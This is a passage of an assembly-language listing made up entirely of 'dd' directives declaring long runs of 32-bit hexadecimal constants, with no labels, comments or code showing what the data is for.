		dd 0C8988232h, 8660400h, 9C233B34h, 9A0DF264h, 367E0EACh
		dd 0A942E674h, 0CDC8807h, 2498AEC0h, 0D70C1269h, 8094F881h
		dd 9120ABB7h, 478A014Ch, 14DC5A6Ch, 1D80CF3Ch, 260EA2Fh
		dd 989DC1C1h, 12667AD4h, 0BCA1D18Ch, 0A20680C0h, 1988F449h
		dd 88464104h, 0D0E0CE7Eh, 88916CA1h, 0FF0362A4h, 0C038ADD8h
		dd 1D2C4AFh, 0B7223D5h,	0F08B64B0h, 7F002F08h, 0FE7112B3h
		dd 37583Eh, 225A2B46h, 83B58F1Ah, 4502BD00h, 91C9C61Ch
		dd 8ABA5A71h, 19AB003Ch, 549F588Eh, 0ECDF008Ah,	76083DEh
		dd 3D58ADB9h, 0C434047Ch, 0B08867D4h, 0BECB0F50h, 0D981E381h
		dd 0D868AA83h, 7496ADD7h, 0B6840D40h, 23E93E58h, 0B100973Bh
		dd 0A59F2C5Dh, 37099ED0h, 0D88DE6F2h, 0B5F01688h, 0CCC2165h
		dd 0CC202AB7h, 1B45F73h, 15537BA3h, 207823D4h, 84FB20h
		dd 82B44BE7h, 0FDCAD8DCh, 0E0A0514Ah, 9DE484C7h, 0DAA04600h
		dd 0ED7BF408h, 5FFD12D4h, 0DC5020C9h, 0FF0F7A8Dh, 0A32744AEh
		dd 98E7B19Eh, 25EB8C81h, 28606077h, 0CA1266B5h,	3F0B1B4Dh
		dd 0CBCC86CFh, 0F07C4811h, 8C8EC180h, 0DD257BA0h, 310EC45h
		dd 1B8F9BA8h, 5BA0BF6Dh, 6C71C824h, 6A36800Bh, 0CF0490B6h
		dd 9CA17DE0h, 48B040F0h, 42009A72h, 0DFC004CEh,	12F653F2h
		dd 1A13D19h, 0AA22BEACh, 7011CC54h, 4EA5BA27h, 6F9C07B4h
		dd 40A0EA4Fh, 7CD779F7h, 0E64B5F00h, 0D0423CCDh, 14409D76h
		dd 21480630h, 7B470029h, 0E8AEED68h, 0A65CB08Ch, 586925C8h
		dd 6D9134F9h, 0C39DC581h, 84952BEEh, 660BC0E3h,	0CCE11DA2h
		dd 0D4504267h, 6A74DCE0h, 1061E09h, 728C1837h, 80E01D43h
		dd 0F895027Dh, 244C0EE3h, 2D406CB4h, 2EA41F5h, 0EE2F2A79h
		dd 3406F23h, 72FAE027h,	620D64Dh, 9DF3123Eh, 0A03350C1h
		dd 70112A5h, 7498087Eh,	92A1F08Bh, 98105DA8h, 16004C5Ah
		dd 0DFF8AE67h, 3CEEB35Bh, 288073D8h, 0B1E8E79Bh, 420F59ACh
		dd 43C24Eh, 0AE61C452h,	7F8C092Dh, 0BCC4A465h, 2F00C9E8h
		dd 0B73E4F0Fh, 701CD7E4h, 6E607A0h, 47FE361Eh, 0DFFAD0A1h
		dd 0A85E443Eh, 96C7D091h, 0CE2B2450h, 0B5F500E1h, 97055679h
		dd 8C02888h, 2FE639CCh,	9CE90216h, 6B41D0B1h, 0A62964E0h
		dd 0A43FF812h, 0D5275430h, 86653A73h, 48E7F385h, 200AC409h
		dd 8E3F4EE0h, 0E4086B69h, 0D6900478h, 8005B1E5h, 89A9AE42h
		dd 741A3F00h, 61413A9Ah, 2AC7009Eh, 117C83B4h, 0CF2D7F6Bh
		dd 6CC696h, 0DB7501D0h,	0BF93FAACh, 2AABD800h, 7A840231h
		dd 49E634E4h, 74B89106h, 0D4203B1Bh, 4FAC4Ch, 0B5B28A8Dh
		dd 20580C01h, 300A1E4h,	0F41BFBB1h, 48181272h, 6E9F006Dh
		dd 6CF1A550h, 618F0581h, 603060BEh, 3E1C1EC4h, 7C8F394Dh
		dd 0C45CA379h, 0F0E94437h, 5D13B270h, 3C03F664h, 0A8608CFBh
		dd 305F3446h, 668C486Ch, 402EEE7h, 8E2EAE43h, 0E04504Fh
		dd 0B6C4CDFFh, 50C4BE4Bh, 292EDD00h, 0B10EC00Ah, 0DF1D1C52h
		dd 0D33EC7F5h, 116110DAh, 1C2D2846h, 0B394E917h, 0C7B80B2Eh
		dd 4CBC3CF8h, 45E82F40h, 0D4400050h, 531492FBh,	10952D77h
		dd 2625418h, 33C0E51h, 80D88E96h, 73B7F01Bh, 1D700049h
		dd 3172AEF4h, 0E100776Ch, 0B741B49Eh, 882BA8F1h, 149FB570h
		dd 6FE0F0h, 529C91DBh, 1E2378E7h, 6803DD2Fh, 26B83524h
		dd 43D0FAA2h, 0BDC47060h, 6DA11694h, 0E546D430h, 0C6B331B7h
		dd 487E67D0h, 0D7183AE0h, 0C711A471h, 611360C9h, 5CB1F0C3h
		dd 0FD7E5170h, 740073ECh, 0AD8D1DE8h, 5C1FD5A5h, 710ACCB8h
		dd 23C0DB9h, 0C964F813h, 568038D4h, 33A28016h, 1725004Ah
		dd 5FB4A630h, 0D900D36Dh, 1299FF9h, 374AF4Bh, 25D599ECh
		dd 2EA0520Ch, 400F709h,	0B4974DD8h, 696E91h, 0BEE72C6Ch
		dd 0ED2A485Ch, 921FCCEEh
		dd 0E6C1B05Dh, 0BC71D407h, 79C5A82Ch, 0FFDC3320h, 3E970290h
		dd 882E8576h, 0CBC05CD5h, 0E1502Eh, 86570CF4h, 3DF0DF14h
		dd 0FDC1B400h, 0C7E58D3Bh, 75BE2966h, 6F400F4h,	1B7CABEDh
		dd 4B6CA539h, 824BB420h, 0DEF03F24h, 31D47D02h,	6CF4DA3Dh
		dd 720CDC49h, 0B837D8E0h, 89CCF982h, 0AC74793Ah, 0CFA58B40h
		dd 0AD000ECh, 0AA7D0C5Fh, 0B425FF76h, 0B9D060C0h, 62998837h
		dd 30D49884h, 2F117A3Dh, 5F00F430h, 49260D0Eh, 27A117C5h
		dd 88E076FDh, 2284B60Ch, 0FAFA166Dh, 52789212h,	0ED9E08F0h
		dd 7E477011h, 6A815031h, 8FB5D0h, 4A9458DFh, 8CD439A0h
		dd 2076E825h, 0EA9635E8h, 0B6B7769h, 718DA4FEh,	0C50A0479h
		dd 76807CD4h, 8A4A488Eh, 5E2205FEh, 0C0C75273h,	1FF3A4EDh
		dd 6D60EC9Ch, 1B1D25Ah,	398E557Dh, 0F0A4D6E1h, 0F97347A7h
		dd 86B539h, 4677ECF3h, 5C196D4h, 0AF343BF6h, 7FB4C2D3h
		dd 2EC8B21h, 98FD5840h,	0C09248A2h, 30DC6985h, 4B279EFCh
		dd 9DD20B01h, 818DB3C6h, 21DA9E9Ah, 6B601C56h, 593B076h
		dd 131E79CEh, 11C4B3FAh, 4C1E0851h, 78EB021Bh, 0F070E960h
		dd 67DAB500h, 9733BEFBh, 471E5C08h, 83C5450Eh, 5F89C02Bh
		dd 0B4023450h, 0B6F1ADBBh, 68FF2375h, 359894BCh, 0CA4098B4h
		dd 7A254918h, 251B6481h, 0FC7990F0h, 8D700847h,	6B72EBh
		dd 940CB245h, 0B6972DBDh, 0D453DC13h, 0EE648C0Bh, 527600C0h
		dd 0AAEF7BC6h, 252E4008h, 0DB00D68Dh, 0C7E7292Ch, 6C309D41h
		dd 0AD073D13h, 50ECF119h, 8238D0F9h, 550C4028h,	0A2182602h
		dd 0C479254Ch, 0C6C26385h, 68106CF9h, 0E6E79F1Ch, 0E26315D4h
		dd 0D95A80C6h, 8D2BE844h, 0BB0459Fh, 18647AFEh,	0F091F041h
		dd 101F276Ch, 0B0409A80h, 0ECEB03D2h, 505C7001h, 0C0CCD1B1h
		dd 4389D25h, 0AD6484DEh, 9BC2FDD5h, 90C4D0CEh, 95C74A30h
		dd 88B8ECD4h, 64D949B7h, 0C30D2B00h, 2C1A4DA6h,	1C1C1BAEh
		dd 0DF150011h, 30B8A93Bh, 983A1F00h, 83C1DB97h,	345A018Ch
		dd 2F623946h, 0B9B5E872h, 169CD801h, 83C3C649h,	5BE5FE0h
		dd 2C295D32h, 0A3A3C088h, 129DF313h, 0F90061F8h, 46F8403Eh
		dd 85DECC26h, 0AD9E8A38h, 4A4494D8h, 7E54D0ACh,	44959906h
		dd 4547E08h, 0A095451Bh, 0DC53EF73h, 28BF6C04h,	0DD220CFCh
		dd 30645C00h, 74C9ACABh, 0ED321EFFh, 1CB840FCh,	0F02794FDh
		dd 0C6297C04h, 60D05CEBh, 0B967241Fh, 90642520h, 80979E07h
		dd 2410092Ch, 928864h, 0F49AFFD1h, 6901D32Dh, 26DD400h
		dd 0DBADF6Fh, 0A3AA006Bh, 0ED63BFE6h, 0D4C09E06h, 2A5CF823h
		dd 536F3E90h, 601F2E00h, 93DAF3C1h, 38A56607h, 1B403CB5h
		dd 0F8F7C3h, 987DBD50h,	175558F4h, 0CFC8690Ch, 7FCA681Fh
		dd 0D46B0511h, 80D84998h, 85F53091h, 0EE167906h, 1D911A45h
		dd 37E6E01Eh, 8C49C738h, 27079019h, 33D216ADh, 6E5841C1h
		dd 60C83700h, 313FD3Eh,	0A494CF8Dh, 724014E0h, 6D184068h
		dd 0E58A49E7h, 0A61DFB0Eh, 6704E0F0h, 84683Fh, 0C96BB198h
		dd 0C124E0F3h, 9FCF39C2h, 48060F7Ch, 0C0099F0h,	6C2024BFh
		dd 1D9F04D7h, 81FBE065h, 0AD720D75h, 783C40C9h,	4673C7D8h
		dd 26603802h, 608F3650h, 18A5CC81h, 991439B5h, 6A295110h
		dd 6D8C40A9h, 542113h, 5E261EF0h, 0EE4465F5h, 6DE57D08h
		dd 7DD800Fh, 47AC5F7Ah,	74FC9507h, 3AD07B5Eh, 1B2F2B9h
		dd 3345CE4Ah, 0DBC84CEBh, 0DAE26100h, 6D906292h, 14001A2h
		dd 6C07F05Ah, 81598015h, 0D85D87FBh, 0CBC90DCh,	0C6DA48BFh
		dd 0C760C840h, 0BA5D6849h, 82EF0305h, 0CA014710h, 124D1800h
		dd 8671BD0Bh, 0A0E5503Bh, 0A6E403E8h, 0B5D758C9h, 0CFAFCE98h
		dd 1F719D60h, 12E4038h,	0B618C9BEh, 0F2F4573Dh,	0D9E2AF03h
		dd 40F433CAh, 0C46A00F2h, 8877310Bh, 20F62C8h, 0C95BB8D3h
		dd 630002BEh, 100F1141h, 5625CCh, 0FA44A4ACh, 0E954151Bh
		dd 3D2B2D00h, 23869130h, 93CF008Ch, 2E7FDFA5h, 0F1DE6471h
		dd 5467283Eh, 0AC069BEAh, 0C535EB1Eh, 1D119020h, 2A6172EFh
		dd 9ADA09ECh, 45801BADh, 0EBE5FD58h, 44EE1817h,	7FDE6900h
		dd 286A7128h, 18181FD6h, 11CCC9AAh, 0F3009B7Eh,	247BAF1Ch
		dd 9DA18E5Fh, 0C0E4A483h, 0ED1D05F0h, 5318E849h, 0CD7700B8h
		dd 1BED1A2h, 95410062h,	342BB544h, 30A8BA1Dh, 0B3003665h
		dd 0D622A119h, 7BFA9306h, 77A33C6Bh, 95CFB98Fh,	662EA8F8h
		dd 1D1F9B06h, 28108DEBh, 724C861h, 0FF99935Bh, 63F2D04Eh
		dd 88003281h, 23B8ECFBh, 2991CF40h, 289CE49Ch, 0C4E97166h
		dd 5443EE49h, 69710AE8h, 9242B8CDh, 40CE2E6Dh, 106B80C6h
		dd 0F2F144A1h, 70A44600h, 0A63100C8h, 0F56EE366h, 37005E03h
		dd 0FEAC9FD5h, 0A46098CFh, 15400CDCh, 17D96177h, 231C2905h
		dd 0FC04D127h, 0F892E3C0h, 803E27F2h, 0B2FFADF7h, 0EE29CD28h
		dd 0DCEF8F00h, 9C9F5421h, 20BE5C08h, 6D18AC52h,	81C6D118h
		dd 85AE200h, 1488BB7h, 171FC0Ah, 0E5FA241Bh, 81E1A4C4h
		dd 0CB608869h, 1180E848h, 0C43F2266h, 0F0973795h, 2D33307Dh
		dd 0BBB8F8B9h, 0A1B5DA07h, 0A541E142h, 8C412764h, 0AC477CBDh
		dd 26233A61h, 36FC20h, 2741407Ah, 116E6371h, 0B98B0A8h
		dd 0C0C83084h, 9C5D7C1h, 0AFC38100h, 2C73C2BFh,	99ED6156h
		dd 0D4A798C4h, 0F00694Bh, 1EDCF7C6h, 0E1C6345h,	7415F4BFh
		dd 22505C13h, 5D93ECA0h, 46606700h, 58B4E0F2h, 0F3CB0FF7h
		dd 0B1208D4Ch, 0E8126963h, 0C8A6F40Fh, 9271B848h, 165B07FFh
		dd 0F08D24BEh, 30A382CDh, 360090EEh, 4B57BBE8h,	0B1603Ch
		dd 0B8107F3h, 0A69CF6F1h, 0E4AB9018h, 1766049h,	9BB20D16h
		dd 80E557BFh, 86EC8019h, 0E731D9h, 12C76977h, 4DA95E6Dh
		dd 0B0C0EA01h, 1004650Bh, 587930h, 1E4B2ABAh, 0E91D1C27h
		dd 0D401E0A4h, 0BF64A32Ch, 5C2296CFh, 22F63A3Fh, 0FA006F01h
		dd 19744668h, 8E77C4h, 352B7167h, 7EB67F13h, 0E55EE000h
		dd 0E4D1F6BFh, 985F0390h, 0EE48B0CEh, 0C0C16900h, 0ADD42527h
		dd 0C83B1294h, 0A5CD0002h, 29A090D5h, 75E5A700h, 6A928460h
		dd 0F8C51E57h, 916C0C58h, 48509011h, 0E248DB14h, 73F880C0h
		dd 161A4383h, 2081600Bh, 0CFEF2B40h, 0EC18D200h, 0C23D455Eh
		dd 0C6C30241h, 55442E08h, 27E00881h, 0DA2980DDh, 831E72C1h
		dd 6AC900D7h, 0CCEEB086h, 237B98C6h, 0C1CD1401h, 57726BDBh
		dd 54003022h, 680B8EC7h, 0B100484Ah, 2BF9508Ch,	650A78h
		dd 0E66E1F5Ah, 9E3327EFh, 3AA1AA0Fh, 30B1A425h,	0F0109088h
		dd 0C9B30067h, 8349D4C6h, 0C80CF150h, 69E74815h, 0F5160073h
		dd 84BEE10Dh, 0B82465F6h, 7E005CF2h, 41EFAF94h,	84CB9ECh
		dd 0F0A0EBEEh, 0EF2E6E73h, 0B0405038h, 608465A9h, 37074004h
		dd 260031D6h, 7FDCBB88h, 0C0906F64h, 0E5BF5880h, 5A0BEC9Ch
		dd 8F690338h, 0EA849080h, 7FD740E1h, 2C475B4Fh,	81A8DC6Ah
		dd 42EE0B02h, 38319705h, 0A0C5020h, 18770F0Eh, 15C07AB3h
		dd 7F989A31h, 6F9B4A0Eh, 0CE5078CDh, 363739EEh,	0BF0FB3CCh
		dd 944520ECh, 679CC872h, 4C40C942h, 0F37EACh, 0B5BE89C1h
		dd 88849343h, 45CFD0C1h, 0C7FDB83Fh, 7E008032h,	394F5181h
		dd 0EB049FA9h, 0DDC5C8ECh, 3E3010C6h, 60142943h, 0A888B4E4h
		dd 21ECF442h, 411440EEh, 13E0E90Ch, 7B5FE025h, 0DBC41DF1h
		dd 3C51BA72h, 0C0EA8020h, 54AECF29h, 0AA1E946Ch, 5CC0C162h
		dd 0E241B099h, 39021D38h
		dd 0A073159Ch, 0C68CE000h, 0F51FC60h, 0B3E87D00h, 0DF42C86Ah
		dd 101F3031h, 0FAED1E70h, 2445094h, 49713846h, 0ED10C500h
		dd 0BC3DA474h, 213F004Ah, 3698397Fh, 0FCA69B47h, 0B4F0D454h
		dd 0EF334D0Bh, 45FC9025h, 516A603Bh, 0CBA68CEAh, 0A0818C9Ah
		dd 0C92EEFB1h, 0BCA195E5h, 9A2B003Ch, 0E415FF8Dh, 23B00BE7h
		dd 140354D4h, 81CC22F6h, 0F6DEA6FCh, 847EFC91h,	5BC85C69h
		dd 90CF6891h, 0AD724043h, 9862B027h, 4CF052ECh,	460150BFh
		dd 0A21EA65Dh, 5392E026h, 6FCE35Dh, 74E8E2D4h, 1B981B48h
		dd 7BA88883h, 22006309h, 0E7934940h, 2E15D078h,	40286572h
		dd 45C7C0DAh, 40256E2h,	6137E408h, 0E08C602Fh, 909200C3h
		dd 813C8B54h, 0DA06ABC9h, 7A1672B0h, 0D26E3108h, 2899CF49h
		dd 24DBA0E0h, 0F85907FCh, 0C0B9E63Dh, 6E25D35Ch, 38E87600h
		dd 0EC1E7AEAh, 0C831C993h, 494C8810h, 62A4B200h, 4ED8658Fh
		dd 632000A9h, 60C9BFE7h, 44132F94h, 1C226D41h, 0FDB09038h
		dd 2E390D3h, 80DA127Ah,	6C42248Eh, 0E060AC0h, 0A6A4E809h
		dd 0BEF4980Bh, 152300E5h, 861D94EDh, 9809D944h,	19ACADC5h
		dd 2E20C85Ch, 0D7B90008h, 9F63FC83h, 5564EE54h,	72401B88h
		dd 0BF607033h, 0C567ED03h, 0C1E04792h, 0D071AD56h, 51856EE9h
		dd 0D8E43FF6h, 7E00F9B0h, 0EFC16316h, 14614Ah, 13D74998h
		dd 0C845D3Dh, 0E79B4202h, 4615DC70h, 0E875C0h, 0ABBEC55Dh
		dd 7939311Dh, 595E8712h, 603804C8h, 3E58797Ah, 290E749Eh
		dd 804DF833h, 3B085126h, 305E01D3h, 6FE24B1h, 0DC6248h
		dd 842C8738h, 12670B52h, 45B3B5h, 77A40E3Ch, 0A900B7C0h
		dd 1F170F7Eh, 0E76372C9h, 69220C23h, 0C56168F8h, 23860B19h
		dd 7B65C014h, 0E0B06E12h, 671D44h, 8C4D585Eh, 0EA20BC03h
		dd 6A95E41Ch, 985B018Bh, 7D219DFCh, 5E0A01AFh, 1A53F490h
		dd 0FC707462h, 0F66AA608h, 226000E0h, 0EEC60142h, 41173B34h
		dd 2CAD8C31h, 716DDCh, 9E97C654h, 54FFE07h, 390B3F7Ch
		dd 8373FDD2h, 0DDF075A6h, 54A34084h, 33B25C04h,	0BB6AC013h
		dd 0DC004E90h, 0AF022E10h, 586E2232h, 0AE0B984Fh, 0E85C5B8h
		dd 0A36447BFh, 71E130C3h, 32003AF9h, 7F4149FAh,	4E6A73AFh
		dd 715860D1h, 190CFB67h, 4869019Ah, 0D502881Ah,	0A00049F8h
		dd 4A2ED775h, 0F4BC9C3h, 0A69362BFh, 2E7E8151h,	9AF083DAh
		dd 3BE86Bh, 17D76A52h, 2BECC36Dh, 5860FA3Ch, 8DB7013Ah
		dd 8C9E1B19h, 45809838h, 36A84766h, 3C642508h, 91CF04F1h
		dd 0E9E8E40Ah, 456088h,	0BD9B691Ah, 0B278B6B3h,	0F5DC9416h
		dd 62727007h, 0BF16704Ah, 8C9CE5C4h, 0CFB0017Eh, 80D27318h
		dd 581080AEh, 92F3C126h, 0B046708Ah, 0AFA60730h, 0EEE37A3Fh
		dd 68088361h, 0EF69E8B5h, 0A600B3E0h, 0A920C513h, 74DE6AF3h
		dd 1B39C2C6h, 1861FF75h, 803828ECh, 0E30BD387h,	181AFC33h
		dd 10CA77A5h, 0E400760Ah, 60C5589Dh, 7E7A6A3h, 0F21ED6C7h
		dd 0F3F1936Bh, 0C25BA0A0h, 43BF5104h, 78B45657h, 457F1D85h
		dd 0EEF0F33h, 36A7E260h, 0EC07CEB6h, 89145395h,	4DEEC061h
		dd 38268C22h, 0D1F80F4h, 3D4C3477h, 0E59AE700h,	0CE1457E4h
		dd 0A5FC09D7h, 0CC00D221h, 9AC40C64h, 8F1CBBF4h, 709DB81Ch
		dd 694F7D40h, 7CE8D787h, 0A0074CD0h, 5F5CFE80h,	0BC00E711h
		dd 0AB3E32ACh, 35E16DDh, 0F36B21DCh, 0B5026Dh, 90BFDAF4h
		dd 6A16E4F5h, 8C0180D3h, 765DECFh, 72380862h, 0D1D88580h
		dd 0D2C43C8Eh, 4622E00h, 7AD62F16h, 0DADC0CBFh,	0F2317738h
		dd 14464100h, 696D3DCBh, 23EF4E84h, 1AD92B5Ch, 394510C5h
		dd 888072Dh, 85D260B5h,	0F5080151h, 220713E3h, 0F8726F0h
		dd 9050943Eh, 220300F8h, 951733A8h, 0E4A35086h,	23080701h
		dd 9993CFC8h, 14640029h, 11C1AD01h, 0A6F3C95Ch,	0B440EFECh
		dd 38F444A8h, 0EF570AEBh, 17605C46h, 58CC02CEh,	64806971h
		dd 0EE72EBE5h, 49104658h, 117EC74Ch, 4D03F090h,	37A9066h
		dd 0A572ACFCh, 8C98DA97h, 0BD025F58h, 93CE2C23h, 0CF786866h
		dd 463A4FEEh, 517238C8h, 842B2901h, 5E08339Fh, 2CC12CD4h
		dd 2ECCD9Ch, 0CA23BF6Ah, 5F278084h, 0A9D0670Ch,	0C2C52DDAh
		dd 96AD6C10h, 5F211012h, 33235800h, 91A41F4h, 2267B0E4h
		dd 4023058Eh, 0B0AC3610h, 518A7ED8h, 37CB0044h,	8689BC46h
		dd 0ACFA7000h, 917A30D9h, 0A7B40112h, 3FBF14E3h, 5043217h
		dd 193C2FC5h, 5180A027h, 5810FAF4h, 25C08CD6h, 97E61374h
		dd 0CAE5C007h, 9C53E47Fh, 0C843E087h, 53370FB2h, 0C09FDC76h
		dd 0FFA9D5EFh, 7148B956h, 5ED7C388h, 4563A9A3h,	3CCB8DECh
		dd 758059C0h, 0EF1AC1A0h, 1D093ADBh, 0E07E62ECh, 0E966CF08h
		dd 6480D428h, 85E98BCCh, 0A317CA01h, 823DFE06h,	0B898C704h
		dd 2A749C42h, 30E26F3Ch, 254090F1h, 0B5595175h,	0F8F502C0h
		dd 60BA22B0h, 38AA09D8h, 0D78AE069h, 0F8B815h, 92293545h
		dd 27FAA611h, 0DAC1FD0Ch, 81842h, 0A0FCCCA2h, 0AA90C6CFh
		dd 699C43Bh, 0CE738824h, 5BC89E98h, 44E47D8h, 0E24D10C1h
		dd 506D1D0Bh, 0C022C507h, 4C89B7DBh, 7B0D9830h,	41103083h
		dd 0D0FC5DD1h, 0C85812C9h, 0DA944054h, 47B74190h, 12006A70h
		dd 5562B0CFh, 0B1039AC5h, 0CBC80D4Ch, 0F4E3C569h, 0B9007440h
		dd 3A234378h, 0D99196h,	0A81D3BA3h, 7262C760h, 63712A1Dh
		dd 0B518392Dh, 167CAF0h, 20E549DAh, 716036A2h, 0A421AE1Ch
		dd 3E231304h, 433F3C9Ch, 6D500018h, 5CD61DF8h, 8C3058B1h
		dd 82AE9080h, 781E38F7h, 56148BE0h, 0B0B92408h,	3BDF0708h
		dd 0E552121Dh, 7B406CA0h, 0D70028D4h, 0DCC14588h, 1DC546BFh
		dd 8B20C77Ah, 3C40AE48h, 58A242EEh, 0E5403A80h,	0BE27991Eh
		dd 3F5810C5h, 4E0B0745h, 0B3328DF1h, 0D9886D69h, 0BC3A3412h
		dd 3BED0472h, 40C21039h, 16EC70FEh, 0D7C85CBFh,	4B4E1298h
		dd 2BA8EBC0h, 8119A600h, 47EF5811h, 0DC220EA4h,	0E56356BCh
		dd 794C2B38h, 19D722E8h, 197F92CFh, 0F03948h, 336CB042h
		dd 0F014DAh, 0E675D2C6h, 2DC55EEFh, 9C64710Ch, 0EDA902Ch
		dd 5C21E0B5h, 0CF406360h, 28A17095h, 73C210ECh,	2277000Bh
		dd 89C60A7Ch, 0C9FE4A33h, 49296530h, 146B199h, 41EA7E3Fh
		dd 2D0C6BE2h, 0ADA0C09Ch, 2D15F6Dh, 47C0B49Dh, 7848CD42h
		dd 0D70C0B1Ah, 397283E2h, 37F68803h, 0AC7B1478h, 0E8C2E50Bh
		dd 484809C3h, 44CBE0F0h, 0A0747C6h, 0EA4DBB0Bh,	194EEE41h
		dd 1EC9E448h, 0E71E7C6Ah, 0DA40C420h, 4113AE9Ah, 9C305FB5h
		dd 0FD2D3A0h, 0C86B8D54h, 0C5599AA0h, 29261999h, 6D402407h
		dd 0D54904h, 0FD2CAF3Ch, 6615DEE1h, 42B0AB00h, 1D23F606h
		dd 0C8CF18D7h, 3BA2A1C2h, 0D8867907h, 44399BF8h, 282200CCh
		dd 6268308Fh, 24017F06h, 0EDCB9A60h, 4C381EEEh,	150B0280h
		dd 5E1FFE75h, 9A80DAB9h, 2A5D4520h, 293A1240h, 0EA3806DEh
		dd 5758F969h, 0CF3785A0h, 455F2480h, 36F626B4h,	75F93A13h
		dd 454C98BEh, 701C6089h, 358BD88Bh, 0BD880EF8h,	40BECC11h
		dd 31DB44FAh, 0C031BB37h, 65EBC89Bh, 0BED8E984h, 7E10C13Ah
		dd 0BB08171Eh, 68CA000h, 0FF82FDA6h, 1DCF414h, 2C160089h
		dd 9B3F1813h, 0B450DD5Bh, 7FA030B9h, 0AA79349Ch, 96B21316h
		dd 2E4CC8h, 0F13248B0h,	0FB4BEA92h, 0CDD65B0Fh,	47D58711h
		dd 0BEECE070h, 0B798DD31h, 1A2D6091h, 9F5B1F83h, 7FD7B420h
		dd 4C0B77E3h, 28489045h
		dd 293DC29Dh, 4880C9F8h, 3B8F64D3h, 0BFA8BC00h,	739AE555h
		dd 67140483h, 0C8876148h, 0A913925Ch, 0EC0947E4h, 0CC9898BBh
		dd 650E0038h, 3617325Fh, 0B6F8BD12h, 98C1F32Dh,	1DAD3760h
		dd 449487D8h, 0E415DC71h, 0AF0E6700h, 0FD3F6C14h, 0FA7DD00h
		dd 99E4721h, 60CC6AE1h,	0C7166180h, 48B462BFh, 3900E39Ch
		dd 6BB971A0h, 20CD5B8Fh, 430BC02Ch, 0F63BA6F6h,	0E4BF8005h
		dd 0E5175D9Ah, 0F5573A0Eh, 30489024h, 0F3C16831h, 3A969B0Eh
		dd 695FE052h, 17C20FDAh, 22ED1D12h, 905AC81Ch, 2A0D9A03h
		dd 9B9FCE66h, 1A94A15Fh, 0E459687Ch, 1C574E14h,	0C2418800h
		dd 0E1C5A848h, 7CF0290Bh, 0AD5CB0B0h, 0BFC62555h, 0A9729444h
		dd 6FEAB00h, 0F7CD4D9Ah, 0B7670287h, 5A3C7A49h,	0BB6024F8h
		dd 0CF2F4341h, 0CB40056Ah, 0C1C4F104h, 3C951E20h, 0B051C024h
		dd 0C71585h, 44803F07h,	0C05B9574h, 16478909h, 4C710Ah
		dd 7FEAE167h, 510301B4h, 0DD66A4D6h, 50698865h,	0DB760020h
		dd 0C0C88B26h, 83164340h, 48C08690h, 0B01E7B6Ah, 87E40C9Dh
		dd 0E88085CBh, 98A69C01h, 0CE72685Ah, 42840868h, 16ADC30Dh
		dd 0A29811B0h, 0F70126F2h, 690C15BFh, 0FC493FB6h, 0EE779830h
		dd 0E02D16B2h, 8A81073h, 60DABE00h, 3045469Fh, 7C96922Ch
		dd 0D8C8F512h, 6C772415h, 0D060813Ch, 426E760Ah, 99E02708h
		dd 3CB8B8C7h, 9B74AA02h, 405F3E53h, 0D9AC084h, 80ED1E92h
		dd 50787251h, 827AE6DEh, 0E314B100h, 67720BCAh,	71490BB2h
		dd 8CC0AC65h, 27959BCFh, 7A505C84h, 90A51B0Ah, 0B0660A6Fh
		dd 1308093Dh, 239017B6h, 9BA8E3F8h, 3A00AE3Dh, 6BF52BFFh
		dd 3D9CE94Dh, 0D4873CA1h, 0C2F1C93Bh, 0B86CE5D0h, 80C4195Ch
		dd 0D8C442ADh, 577C24E4h, 4FF74098h, 0BC01C133h, 0AC85573h
		dd 0BC2D90CEh, 4234C86Ah, 2463B0DAh, 878E348Ah,	29A5DCh
		dd 48688887h, 0B20B1287h, 5C48C932h, 39798020h,	0F59B606Ah
		dd 0ECE952B0h, 4D01B1B8h, 0F25202D0h, 8089D948h, 9000C47Dh
		dd 5163B610h, 0C501D090h, 0A31CE134h, 37D4DC91h, 47A1009Fh
		dd 0E311C3C4h, 8677B293h, 1D25E801h, 6DBC511Fh,	97001C22h
		dd 0CDBD46E9h, 0B0B1D9FCh, 0A5153808h, 0A24DECB0h, 0E4EB0B25h
		dd 7520015Ch, 818086F8h, 0F74EE074h, 0E1701504h, 0C4CCE57Dh
		dd 9CCF8091h, 0EC88724Ah, 0ECB488C1h, 3C44C216h, 0E4306003h
		dd 1338262Eh, 0DA04CBE0h, 160A998h, 9AE726F6h, 707041B6h
		dd 6C72886Ah, 494C0CBCh, 6D81C61Dh, 3A00B90Eh, 1CE833FCh
		dd 0F5A57Dh, 0A98AD74Ah, 1177B24Bh, 0F3EE1D14h,	798433Ch
		dd 0B4CCE6B7h, 45EEE2A1h, 0F680B47Ch, 0E8C6A694h, 555CC77Ch
		dd 0C127C464h, 8009EA22h, 0CFD1A2F0h, 41AC016Eh, 614B6711h
		dd 7C2C6380h, 2D03E47Ch, 0CCC683DAh, 0CBA6C0F2h, 41EE25CFh
		dd 38C110A0h, 192C6D40h, 6C24A442h, 3000E611h, 0FBAF58A3h
		dd 0CF16287Bh, 0D0024026h, 7B11C4F9h, 60678090h, 0A8103149h
		dd 160C1E02h, 0E2991777h, 18986CD8h, 0D1D5C858h, 0B400F307h
		dd 0B9D04784h, 0B3E60Ah, 0D3C21508h, 1EB614D8h,	0F0EE9924h
		dd 6390D021h, 81589FC5h, 45CA9214h, 9AF80044h, 10C0CF0Ch
		dd 25AC580h, 0F34ECBEFh, 61E95Fh, 9EE2107Fh, 767733Bh
		dd 609AD849h, 0C82990F2h, 0E37B2AC4h, 0FC42EF29h, 3975380Ch
		dd 0A0E07Ah, 572608B6h,	6D7F07ABh, 81259C9Ch, 52ADDE4Ch
		dd 2344060h, 9C60C9D4h,	0B88472EAh, 1E90D147h, 5046EAEFh
		dd 849374h, 3EB5E439h, 0EF0128B1h, 9E1DCA00h, 4142A45Dh
		dd 9D8718C4h, 1C6260B5h, 6C7339C0h, 15067Dh, 0B4477720h
		dd 3751BD18h, 3AEF9B12h, 0C9CA3821h, 989A63D8h,	0FDC22230h
		dd 0D60B1A02h, 7438F3DEh, 10AE4784h, 0CEE2DBB2h, 33B6493Ah
		dd 80CDC12Eh, 361CD0h, 104323EFh, 5AAD59CCh, 32183F01h
		dd 4584221Eh, 4CF1DCh, 29E0AC4Dh, 0E3F8DCDEh, 0F0725FF8h
		dd 20019890h, 0B1727460h, 0D432096Bh, 522F7450h, 8500C06Ch
		dd 0F4B737C8h, 2D004559h, 0A1CF9CFFh, 486C7B74h, 650BA4F2h
		dd 8C690B18h, 0BF671701h, 50449Bh, 3B487F89h, 531554B6h
		dd 44C7BB00h, 0F13DFAC9h, 9707E83h, 40C65B75h, 5D76C884h
